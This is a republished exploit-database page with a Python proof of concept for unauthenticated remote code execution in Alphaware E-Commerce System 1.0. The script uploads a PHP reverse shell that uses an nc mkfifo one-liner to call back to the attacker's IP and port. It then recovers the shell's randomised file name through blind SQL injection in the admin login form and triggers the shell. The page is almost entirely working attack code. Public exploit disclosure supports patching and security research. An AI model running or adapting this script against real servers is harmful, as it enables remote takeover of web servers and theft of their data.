Alphaware E-Commerce System 1.0 Shell Upload / SQL Injection ≈ Packet Storm – Digitalmunition




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Published on March 17th, 2021 📆 | 5313 Views ⚑

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Alphaware E-Commerce System 1.0 Shell Upload / SQL Injection ≈ Packet Storm

# Exploit Title: Alphaware E-Commerce System 1.0 – Unauthenicated Remote Code Execution (File Upload + SQL injection)
# Date: 15-03-2021
# Exploit Author: Christian Vierschilling
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/php/11676/alphaware-simple-e-commerce-system.html
# Software Download: https://www.sourcecodester.com/download-code?nid=11676&title=Alphaware+-+Simple+E-Commerce+System+using+PHP+with+Source+Code
# Version: 1.0
# Tested on: PHP 7.4.14, Linux x64_x86

# — Description — #

# The web application allows for an unauthenticated file upload which can result in a Remote Code Execution.
# We combine this issue with an sql injection to retrieve the randomised name of our uploaded php shell.

# — Proof of concept — #

#!/usr/bin/python3
import random
import sys
import requests
from requests_toolbelt.multipart.encoder import MultipartEncoder

def file_upload(target_ip, attacker_ip, attacker_port):
random_number = str(random.randint(100000000,999999999))
file_name = “SHELL.php”
revshell_string = ‘< ?php exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {} {} >/tmp/f”); ?>’.format(attacker_ip, attacker_port)
m = MultipartEncoder(fields={‘add’: ”, ‘product_image’: (file_name, revshell_string, ‘application/x-php’),’product_code’:random_number,’product_name’:’R3v_5H3LL’,’product_price’:’123′,’product_size’:’99’,’brand’:’N0_name’,’category’:’Hackers’,’qty’:’1′})
print(“(+) Uploading php reverse shell file ..”)
r1 = requests.post(‘http://{}/alphaware/admin/admin_football.php’.format(target_ip), data=m, headers={‘Content-Type’: m.content_type})
return random_number

def trigger_shell_sqli(target_ip,product_id):
target_file_name = ”
url = ‘http://{}/alphaware/function/admin_login.php’.format(target_ip)
print(“(+) Now setting up our sqli for file name guessing ..”)

# STEP 1: Get length of target column in database ..
for i in range(1, 200):
payload = {‘enter’:”,’username’:”‘ or {}=(select char_length(product_image) from product where product_id = {})#”.format(i, product_id)}
r2 = requests.post(url, data=payload, allow_redirects=False)

# STEP 2: successful sqli will be indicated by a redirect.. setting up our blind based file name guessing. 🙂
if str(r2.status_code) == ‘302’:
print(“(+) Initial sqli successful, got length of our target file name!”)
print(“(+) Now for the filename.. “, end = ”)
for j in range(1, i+1):
for brutechar in range(32, 126):
payload = {‘enter’:”,’username’:”‘ or ‘{}’=(SELECT substring((SELECT product_image from product where product_id = {}),{},1))#”.format(chr(brutechar),product_id,j)}
r3 = requests.post(url, data=payload, allow_redirects=False)
if str(r3.status_code) == ‘302’:
target_file_name = target_file_name + chr(brutechar)
print(chr(brutechar), end = ”)
sys.stdout.flush()
break

url = ‘http://{}/alphaware/photo/{}.php’.format(target_ip,target_file_name.split(‘.’)[0])
print(“rn(+) Trying to trigger shell by requesting {} ..”.format(url))
r4 = requests.get(url)

def main():
if len(sys.argv) != 4:
print(‘(+) usage: %s ‘ % sys.argv[0])
print(‘(+) eg: %s 10.0.0.1 10.13.37.10 4444’ % sys.argv[0])
sys.exit(-1)

target_ip = sys.argv[1]attacker_ip = sys.argv[2]attacker_port = sys.argv[3]

product_id = file_upload(target_ip, attacker_ip, attacker_port)
trigger_shell_sqli(target_ip, product_id)

print(“(+) done!”)

if __name__ == “__main__”:
main()

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